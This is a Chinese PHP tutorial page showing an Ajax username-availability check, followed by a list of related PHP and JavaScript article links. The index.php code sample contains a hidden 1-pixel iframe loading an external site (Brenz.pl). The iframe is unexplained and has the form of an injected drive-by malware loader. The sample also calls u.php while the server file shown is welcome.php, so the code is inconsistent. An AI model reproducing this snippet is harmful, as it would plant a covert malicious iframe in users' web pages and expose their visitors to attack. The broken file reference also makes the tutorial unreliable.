PHP与Ajax相结合实现登录验证小Demo


Posted in PHP onMarch 16, 2016

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

PHP 相关文章推荐
使用php4加速网络传输
Oct 09 PHP
php miniBB中文乱码问题解决方法
Nov 25 PHP
php daodb插入、更新与删除数据
Mar 19 PHP
mcrypt启用 加密以及解密过程详细解析
Aug 07 PHP
PHP实现将视频转成MP4并获取视频预览图的方法
Mar 12 PHP
php修改上传图片尺寸的方法
Apr 14 PHP
4种PHP异步执行的常用方式
Dec 24 PHP
Symfony查询方法实例小结
Jun 28 PHP
PHP 实现公历日期与农历日期的互转换
Sep 13 PHP
Yii2.0框架实现带分页的多条件搜索功能示例
Feb 20 PHP
PHP微信发送推送消息乱码的解决方法
Feb 28 PHP
Laravel第三方包报class not found的解决方法
Oct 13 PHP
Laravel实现构造函数自动依赖注入的方法
Mar 16 #PHP
PHP 二维数组和三维数组的过滤
Mar 16 #PHP
详解php中反射的应用
Mar 15 #PHP
php实现图片上传并进行替换操作
Mar 15 #PHP
php模板引擎技术简单实现
Mar 15 #PHP
9个比较实用的php代码片段
Mar 15 #PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 #PHP
You might like
PHP的5个安全措施小结
2012/07/17 PHP
使用PHP获取当前url路径的函数以及服务器变量
2013/06/29 PHP
javascript window.confirm确认 取消对话框实现代码小结
2012/10/21 Javascript
从数据结构分析看:用for each...in 比 for...in 要快些
2013/04/17 Javascript
JS检测图片大小的实例
2013/08/21 Javascript
动态的创建一个元素createElement及删除一个元素
2014/01/24 Javascript
javascript高级编程之函数表达式 递归和闭包函数
2015/11/29 Javascript
js倒计时简单实现方法
2015/12/17 Javascript
快速掌握Node.js中setTimeout和setInterval的使用方法
2016/03/21 Javascript
网站申请不到支付宝接口、微信接口,免接口收款实现方式几种解决办法
2016/12/14 Javascript
angular4中关于表单的校验示例
2017/10/16 Javascript
layui表格数据重载
2019/07/27 Javascript
解决layui 三级联动下拉框更新时回显的问题
2019/09/03 Javascript
vue监听用户输入和点击功能
2019/09/27 Javascript
vue项目中常见问题及解决方案(推荐)
2019/10/21 Javascript
使用nodejs实现JSON文件自动转Excel的工具(推荐)
2020/06/24 NodeJs
利用 Chrome Dev Tools 进行页面性能分析的步骤说明(前端性能优化)
2021/02/24 Javascript
[00:10]DOTA2 TI9勇士令状明日上线
2019/05/07 DOTA
用Python实现协同过滤的教程
2015/04/08 Python
Python下载懒人图库JavaScript特效
2015/05/28 Python
在主机商的共享服务器上部署Django站点的方法
2015/07/22 Python
pandas apply 函数 实现多进程的示例讲解
2018/04/20 Python
python解析含有重复key的json方法
2019/01/22 Python
Python 实现文件打包、上传与校验的方法
2019/02/13 Python
如何通过50行Python代码获取公众号全部文章
2019/07/12 Python
Python列表原理与用法详解【创建、元素增加、删除、访问、计数、切片、遍历等】
2019/10/30 Python
python列表推导式入门学习解析
2019/12/02 Python
python pandas移动窗口函数rolling的用法
2020/02/29 Python
孕妇内衣和胸罩:Cake Maternity
2018/07/16 全球购物
华硕新加坡官方网上商店:ASUS Singapore
2020/07/09 全球购物
传统软件工程与面向对象的软件工程有什么区别
2012/05/31 面试题
如果重写了对象的equals()方法,需要考虑什么
2014/11/02 面试题
户外用品商店创业计划书
2014/01/29 职场文书
学校与家长安全责任书
2014/07/23 职场文书
2015年化工厂工作总结
2015/05/04 职场文书
不同意离婚答辩状
2015/05/22 职场文书